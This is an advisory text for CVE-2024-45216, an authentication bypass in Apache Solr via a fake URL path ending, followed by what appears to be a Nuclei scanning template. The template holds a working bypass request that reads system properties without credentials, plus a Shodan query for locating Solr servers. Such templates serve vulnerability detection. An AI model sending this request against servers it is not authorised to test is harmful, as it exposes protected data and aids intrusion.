Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
PoC代码[已公开]
id: CVE-2024-45216
info:
name: Apache Solr - Authentication Bypass
author: gumgum
severity: critical
description: |
Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
impact: |
Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
reference:
- https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
- https://nvd.nist.gov/vuln/detail/CVE-2024-45216
- https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45216
cwe-id: CWE-863,CWE-287
epss-score: 0.93987
epss-percentile: 0.99882
metadata:
verified: true
max-request: 1
shodan-query: http.html:"Apache Solr"
tags: cve,cve2024,apache,solr,auth-bypass,vuln,vkev
http:
- raw:
- |
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
Host: {{Hostname}}
SolrAuth: {{to_lower(rand_text_alpha(5))}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "responseHeader"
- "system.properties"
- "solr.script"
- "solr.solr.home"
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a004830460221008c591a3bdbd6e574c74c93bdaac9f30012dfe66966163cc4fc87e5c85b41c9e0022100e520c58cbeb9b70ee452c0dd03defa809581d84d9e513ec3aee80025da3b8ee2:922c64590222798bb761d5b6d8e72950